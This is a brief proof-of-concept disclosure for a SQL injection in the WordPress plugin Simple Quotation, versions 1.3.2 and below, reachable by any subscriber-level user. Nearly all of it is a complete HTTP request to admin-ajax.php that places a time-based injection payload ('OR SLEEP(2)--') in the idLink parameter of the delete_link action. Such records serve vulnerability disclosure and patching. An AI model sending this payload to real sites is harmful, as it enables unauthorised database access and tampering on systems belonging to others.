Simple Quotation <= 1.3.2 - Subscriber+ SQL injection

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Connection: close
Cookie: [subscriber+]

action=delete_link&idLink=2+OR+SLEEP(2)--